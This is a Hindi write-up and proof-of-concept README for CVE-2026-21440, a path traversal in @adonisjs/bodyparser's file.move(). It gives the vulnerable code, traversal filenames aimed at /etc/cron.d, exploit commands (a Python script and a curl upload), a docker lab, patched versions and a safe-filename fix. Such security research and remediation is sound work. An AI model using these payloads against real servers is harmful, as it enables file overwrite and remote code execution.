
poc और cve-2026-21440 के लिए writeup: @adonisjs/bodyparser में एक गंभीर path traversal भेद्यता जो मनमानी फ़ाइल लेखन की अनुमति देती है
@adonisjs/bodyparser में पाथ ट्रैवर्सल से मनमाना फ़ाइल लेखन
@adonisjs/bodyparser पैकेज में एक गंभीर पाथ ट्रैवर्सल भेद्यता मौजूद है जो दूरस्थ हमलावरों को इच्छित अपलोड निर्देशिका के बाहर मनमानी फ़ाइलें लिखने की अनुमति देती है। जब multipartfile.move() फ़ंक्शन को स्पष्ट रूप से सैनिटाइज़्ड फ़ाइलनाम प्रदान किए बिना कॉल किया जाता है, तो पार्सर उचित सैनिटाइज़ेशन के बिना क्लाइंट-आपूर्ति किए गए फ़ाइलनाम का उपयोग करने के लिए डिफ़ॉल्ट होता है।
क्योंकि कार्यान्वयन path.join() का उपयोग करता है और options.overwrite डिफ़ॉल्ट रूप से true होता है, एक हमलावर निर्देशिका ट्रैवर्सल अनुक्रम (जैसे, ) वाला एक दुर्भावनापूर्ण फ़ाइलनाम तैयार कर सकता है ताकि फ़ाइलें फ़ाइल सिस्टम पर कहीं भी लिखी जा सकें, जिससे संभावित रूप से रिमोट कोड निष्पादन हो सकता है।
../../etc/cron.d/malicious| विशेषता | मान |
|---|---|
| सीवीई आईडी | cve-2026-21440 |
| सीडब्ल्यूई वर्गीकरण | cwe-22: प्रतिबंधित निर्देशिका ('पाथ ट्रैवर्सल') के लिए पाथनाम का अनुचित सीमांकन |
| सीवीएसएस v3.1 स्कोर | 9.2 (गंभीर) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
यह भेद्यता multipartfile.move(location, options?) विधि में मौजूद है। जब डेवलपर्स इस विधि को options.name प्रदान किए बिना कॉल करते हैं, तो कोड बिना सैनिटाइज़ेशन के this.clientName — क्लाइंट द्वारा भेजा गया मूल फ़ाइलनाम — का उपयोग करने के लिए डिफ़ॉल्ट होता है।
// @adonisjs/bodyparser में भेद्य कोड पथ
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← असैनिटाइज़्ड क्लाइंट इनपुट
const filePath = path.join(location, fileName) // ← path.join ट्रैवर्सल की अनुमति देता है
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ हमलावर │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ भेद्य एडोनिसजेएस ऐप │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← कोई सैनिटाइज़्ड नाम प्रदान नहीं │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ हल होता है: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई │
└─────────────────────────────────────────────────────────────────┘
│
▼
मनमाना फ़ाइल लेखन
→ क्रॉन के माध्यम से आरसीई
→ कॉन्फ़िग ओवरराइट
→ एसएसएच कुंजी इंजेक्शन
| पैकेज | भेद्य संस्करण | पैच किया गया संस्करण |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 से 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparser के भेद्य संस्करण का उपयोग करता हैname विकल्प के बिना file.move() को कॉल करता है# शोषण निर्देशिका पर नेविगेट करें
cd Exploit-PoC
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# शोषण चलाएँ
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ भेद्य - क्लाइंट-आपूर्ति किए गए फ़ाइलनाम का उपयोग करता है
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName फ़ाइलनाम के रूप में उपयोग किया जाता है
}
return response.ok({ message: 'uploaded' })
}
// ✅ सुरक्षित - सैनिटाइज़्ड फ़ाइलनाम उत्पन्न करता है
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// मूल एक्सटेंशन के साथ अद्वितीय फ़ाइलनाम उत्पन्न करें
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // ओवरराइट रोकें
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser को पैच किए गए संस्करण में अपडेट करें# रिपॉजिटरी क्लोन करें
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# भेद्य वातावरण शुरू करें
docker-compose up --build
# दूसरे टर्मिनल में, शोषण चलाएँ
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# सत्यापित करें कि फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई थी
docker-compose exec app cat /app/test.txt
| तिथि | घटना |
|---|---|
| 2026-01-02 | 10.1.2 और 11.0.0-next.6 में पैच जारी किया गया |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h प्रकाशित |
| 2026-01-02 | cve-2026-21440 निर्धारित |
| 2026-01-02 | एनवीडी द्वारा प्रकाशित |
यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। प्रमाण-अवधारणा कोड का उद्देश्य सुरक्षा पेशेवरों को उन वातावरणों में इस भेद्यता को समझने और परीक्षण करने में मदद करना है जिनका आकलन करने के लिए वे अधिकृत हैं।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस जानकारी के दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं। भेद्यताओं का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
k0nnect द्वारा ☕ के साथ शोध किया गया